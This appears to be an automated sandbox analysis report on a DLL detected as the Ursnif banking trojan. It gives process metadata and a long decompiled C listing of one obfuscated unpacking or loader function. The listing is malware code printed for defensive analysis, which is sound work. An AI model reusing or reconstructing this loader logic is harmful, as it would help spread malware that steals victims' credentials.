Commandline:	rundll32.exe C:\Users\user\Desktop\0204.gif.dll,DllServer
Imagebase:	0x1180000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5988 Parent PID: 5444

General

Start time:	10:10:02
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Imagebase:	0x1180000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 5988 Parent PID: 5444 rundll32.exeCOMMON

Executed Functions

Function 031E5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E031E5F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(_t1002);
				 *_t1121 =  *_t1121 - _t1002;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 ^ _v16;
				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
				_v20 = 0;
				 *_t1130 =  *_t1130 | _t253;
				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
				_v20 = _t1020;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
				_t1023 = _v20;
				_t1131 =  &(_t1130[1]);
				 *_t1131 = _t684;
				_t1078 = _a4;
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 |  *_t1130;
				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 | _t268;
				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t689;
				_t273 = _t821 + 0x41c931; // 0x41c931
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t273;
				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t275 = _t1023;
				_v20 = _t821;
				_push(0 + _v16 + _t691);
				_t824 = _v20;
				_pop(_t692);
				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
				_pop( *_t280);
				_push(_v12);
				_pop(_t875);
				if(_t875 > _t692) {
					 *_t1131 = _t824 + 0x41ca9e;
					 *_t1131 =  *_t1131 & 0x00000000;
					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
					 *_t286 = _t692;
					_push(_v16);
					_pop( *_t288);
				}
				_pop( *_t289);
				_t945 = _v12;
				_v12 = _t692;
				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
				 *_t1131 =  *_t1131 ^ _t824;
				 *_t1131 =  *_t1131 + _t945;
				_v12 = 0;
				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
				 *_t1131 = _t824 + 0x41c856;
				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
				_v20 = _t1078;
				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
				_t1081 = _v20;
				_pop( *_t304);
				_t947 = 0 ^ _v20;
				_t879 = 0 ^  *_t1131;
				_t1132 = _t1131 - 0xfffffffc;
				if(_t1023 != _t1081) {
					 *_t1132 =  *_t1132 - _t1023;
					 *_t1132 =  *_t1132 ^ _t879;
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 + _t947;
					_v16 = 0;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t739;
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
					_t1139 = _t1132 - 0xfffffffc;
					 *_t317 = _t741;
					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v20);
					_pop(_t742);
					_t1045 = _t1023;
					_push(0);
					 *_t1139 = _t1045;
					_t906 = 0 ^  *(_t824 + 0x41c244);
					if(_t906 > _t742) {
						 *_t1139 =  *_t1139 ^ _t906;
						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
						 *_t1139 =  *_t1139 & 0x00000000;
						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
						_push(0);
						 *_t1139 = _t947;
						 *(_t824 + 0x41cf47) = 0 ^ _t797;
					}
					_pop( *_t326);
					_t969 = _v12;
					_t908 =  *_t1139;
					_t1140 = _t1139 - 0xfffffffc;
					do {
						asm("movsb");
						_v12 = 0;
						 *_t1140 =  *_t1140 + _t908;
						_v12 = _v12 & 0x00000000;
						 *_t1140 =  *_t1140 + _t969;
						 *_t1140 =  *_t1140 - _t969;
						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
						 *_t1140 =  *_t1140 ^ _t1112;
						 *_t1140 =  *_t1140 ^ _t744;
						 *_t1140 =  *_t1140 & 0x00000000;
						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
						_t1141 =  &(_t1140[1]);
						 *_t337 = _t746;
						_v20 = _v20 +  *_t1140;
						_push(_v20);
						_pop(_t747);
						_t1081 = _t1081;
						_v12 = _t747;
						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
							 *_t1141 = _t824 + 0x41c831;
							 *_t1141 = _t824 + 0x41c7fa;
							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
							_v16 = _t969;
							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
						}
						_pop( *_t352);
						_t969 = 0 + _v12;
						_t1140 = _t1141 - 0xfffffffc;
						_t908 =  *_t1141 - 1;
					} while (_t908 != 0);
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t969;
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
					_v20 = 0;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
					_t975 =  *_t1140;
					_t1142 = _t1140 - 0xfffffffc;
					_v12 = _t753;
					_t756 = _v12;
					 *_t1142 =  *_t1142 ^ _t756;
					 *_t1142 =  *_t1142 ^ _t975;
					_v20 = _v20 & 0x00000000;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
					_pop( *_t371);
					_push(_v16);
					_pop( *_t373);
					_pop( *_t374);
					_t977 = _t975 & 0x00000000 ^ _v16;
					 *(_t824 + 0x41c60a) = 0x40;
					 *_t1142 = _t977;
					_v16 = 0;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
					 *_t1142 = _t760;
					 *_t1142 = _t824 + 0x41c438;
					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
					_pop( *_t386);
					 *_t1142 =  *_t1142 | _t824;
					_t830 = _t762;
					_t824 = 0;
					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
					_t916 =  *(_t824 + 0x41d118);
					_t1052 = _v16;
					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
						 *_t1142 =  *_t1142 - _t916;
						 *_t1142 =  *_t1142 + _t391;
						_t392 = _t824 + 0x41c438; // 0x41c438
						 *_t1142 =  *_t1142 ^ _t977;
						 *_t1142 =  *_t1142 | _t392;
						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
						_v20 = _t977;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
					}
					_t979 =  *_t1142;
					_t1143 = _t1142 - 0xfffffffc;
					_t401 = _t824 + 0x41c60a; // 0x41c60a
					 *_t1143 =  *_t1143 - _t979;
					 *_t1143 =  *_t1143 ^ _t401;
					 *_t1143 = _t979;
					_t403 = _t824 + 0x41cb46; // 0x41cb46
					 *_t1143 =  *_t1143 & 0x00000000;
					 *_t1143 =  *_t1143 + _t403;
					_t404 = _t824 + 0x41c91c; // 0x41c91c
					 *_t1143 = _t404;
					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
					 *_t1143 = _t1081;
					 *(_t824 + 0x41cf40) = 0 ^ _t767;
					_t1097 = 0;
					_t981 =  *_t1143;
					_t1144 =  &(_t1143[1]);
					_pop( *_t408);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + (0 ^ _v20);
					 *_t1144 = _t981;
					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
					 *_t1144 = _t411;
					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
					 *_t418 = _t981;
					_t986 = _v12;
					 *_t1144 = 2;
					_v12 = _v12 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t986;
					_t423 = _t824 + 0x41cfff; // 0x41cfff
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t423;
					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + _t773;
					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
					 *_t1144 =  *_t1144 - _t1112;
					 *_t1144 =  *_t1144 | _t425;
					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
					_t1132 =  &(_t1144[1]);
					 *_t427 = _t775;
					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
					_push(_v20);
					_pop(_t776);
					_t1054 = _t1052;
					 *_t1132 = _t1054;
					_t879 =  *(_t824 + 0x41d0fa);
					_t1057 = 0;
					if(_t879 > _t776) {
						_t432 = _t824 + 0x41cfff; // 0x41cfff
						 *_t1132 =  *_t1132 - _t1112;
						 *_t1132 =  *_t1132 + _t432;
						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
						 *_t1132 =  *_t1132 ^ _t1112;
						 *_t1132 =  *_t1132 + _t433;
						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
						_v12 = _t1097;
						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
						_t1097 = _v12;
					}
					_pop( *_t438);
					_t987 = _v12;
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 = _t987;
					_t440 = _t824 + 0x41c42d; // 0x41c42d
					 *_t1132 =  *_t1132 - _t1097;
					 *_t1132 =  *_t1132 + _t440;
					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
					 *_t1132 = _t1057;
					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
					_t1060 = 0;
